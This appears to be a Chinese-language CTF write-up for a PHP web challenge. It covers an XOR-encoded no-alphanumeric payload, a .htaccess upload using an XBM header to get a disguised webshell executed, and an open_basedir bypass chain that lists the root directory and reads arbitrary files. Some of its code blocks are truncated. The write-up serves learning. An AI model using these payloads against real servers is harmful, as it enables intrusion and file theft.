ctf里面什么所谓的easy baby全是骗人的一点都不easy
这正则直接过滤了所有的字母 可以用异或 取反 自增绕过
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
这个网站讲了操作
但是这关 对长度限制 自增看样子不行了 用异或绕过
1 | <?php |
运行这个生成这串
1 | G %86^%c1 E %86^%c3 T %86^%d2 _ %86^%d9 |
组合一下就是
1 | ?_${%86%86%86%86^%d9%c1%c3%d2}{%86}();&%86=phpinfo |
这边各种限制 只能从**get_the_flag()**的函数下手
看到可以进行文件上传 但是过滤了后缀名 不能上传带有ph后缀的文件 php phtml都不行了
1 | nginx的服务器,而且上传目录下有一个php文件,所以上传.user.ini |
这边是apache
还对内容进行了过滤 不能包含<? 而且这边版本问题
1 | <script language="php"></script> |
用不了
这边可以将一句话进行base64编码 然后.htaccess利用php伪协议进行解码
还有文件头检测 GIF89进行绕过 但是这边会有问题 上传的.htaccess文件无法生效
可以用
1 | #define width 1337 |
1 | #define width 1337 |
1 | shell.aaa |
1 | import requests |
获得上传到的路径可以进行访问
然后还需要绕过
1 | open_basedir |
https://xz.aliyun.com/t/4720 这篇文章的payload可以直接使用
1 | shell.aaa?a=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir("/")); |
然后访问这个this is the flag
1 | ?a=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('/THis_Is_tHe_F14g')); |
就能拿到flag